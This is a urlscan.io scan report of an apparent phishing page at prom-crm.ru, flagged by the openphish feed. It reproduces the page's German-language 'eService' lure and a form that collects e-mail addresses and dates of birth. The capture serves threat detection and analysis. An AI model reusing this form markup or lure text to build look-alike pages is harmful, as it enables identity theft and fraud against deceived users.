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prom-crm.ru Open in urlscan Pro
176.211.114.178  Public Scan

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URL: https://prom-crm.ru/public/cgi-bin/cemba/use_r_ch/c/
Submission: On June 04 via automatic, source openphish — Scanned from DE

Form analysis 1 forms found in the DOM

POST action.php

<form class="form-horizontal" method="post" action="action.php" autocomplete="off" accept-charset="UTF-8">
  <input type="hidden" name="step" value="index">
  <div class="form-group">
    <label class="col-xs-3 control-label" style="text-align: left" for="isiwebuserid">
      <left>E-Mail-Adresse <span style="color: rgb(0, 77, 140);">*</span>
      </left>
    </label>
    <br>
    <div class="col-xs-4">
      <input class="form-control" type="text" name="email" placeholder="example@domain.com" maxlength="255" value="" tabindex="1" id="firstinput">
    </div>
  </div>
  <div class="form-group">
    <label class="col-xs-3 control-label" style="text-align: left" for="isiwebpasswd">
      <left>Geburtsdatum <span style="color: rgb(0, 77, 140);">*</span>
      </left>
    </label>
    <br>
    <div class="col-xs-4">
      <input class="form-control" type="text" name="dob" placeholder="20.01.1980" maxlength="255" value="" tabindex="2">
    </div>
  </div>
  <div class="form-group">
    <label class="col-xs-3 control-label" style="text-align: left" for="isiwebpasswd">
      <left>Captcha <span style="color: rgb(0, 77, 140);">*</span>
      </left>
    </label>
    <br>
    <div class="col-xs-4">
      <input class="form-control" type="text" name="capt" placeholder="" maxlength="255" value="" tabindex="3"><img src="images/captcha.png" style="padding-left:4rem;">
    </div>
  </div>
  <div class="row">
    <div class="col-xs-3">
    </div>
    <div class="col-xs-3">
      <button id="submit" type="submit" style="margin-left: 75px;margin-top: 30px" name="submit" class="btn btn-success btn-lg" value="WEITER" tabindex="4"> WEITER </button>
    </div>
  </div>
</form>

Text Content

DE FR IT EN


WILLKOMMEN ZU ESERVICE


BESTÄTIGEN SIE IHRE VERBINDUNG MIT IHRER E-MAIL-ADRESSE UND IHREM GEBURTSDATUM.

E-Mail-Adresse *


Geburtsdatum *


Captcha *


WEITER
        Mit * gekennzeichnete Felder sind Pflichtfelder.






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